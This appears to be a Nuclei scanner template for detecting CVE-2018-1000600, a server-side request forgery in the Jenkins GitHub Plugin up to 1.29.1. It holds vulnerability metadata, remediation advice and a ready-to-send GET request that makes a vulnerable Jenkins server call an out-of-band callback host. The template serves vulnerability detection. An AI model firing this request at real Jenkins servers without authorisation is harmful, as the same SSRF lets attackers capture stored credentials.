Jenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery

id: CVE-2018-1000600

info:
  name: Jenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery
  author: geeknik
  severity: high
  description: |
    Jenkins GitHub Plugin 1.29.1 and earlier is susceptible to server-side request forgery via GitHubTokenCredentialsCreator.java, which allows attackers to leverage attacker-specified credentials IDs obtained through another method and capture the credentials stored in Jenkins.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the network.
  remediation: |
    Upgrade Jenkins GitHub Plugin to version 1.29.2 or later to mitigate the vulnerability.
  reference:
    - https://www.jenkins.io/security/advisory/2018-06-25/#SECURITY-915
    - https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/
    - https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000600
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2018-1000600
    cwe-id: CWE-200
    epss-score: 0.93232
    epss-percentile: 0.99014
    cpe: cpe:2.3:a:jenkins:github:*:*:*:*:*:jenkins:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: github
    framework: jenkins
  tags: cve,cve2018,jenkins,ssrf,oast,github

http:
  - method: GET
    path:
      - "{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4b0a00483046022100bf2a9e11b8abb8568b2c65c93dba5541878586fe70a82089f8ff698406d5aeeb022100f63677bc4a54325d391b65c47da7048d32719df27785066d2a3297d0dcd4d2b1:922c64590222798bb761d5b6d8e72950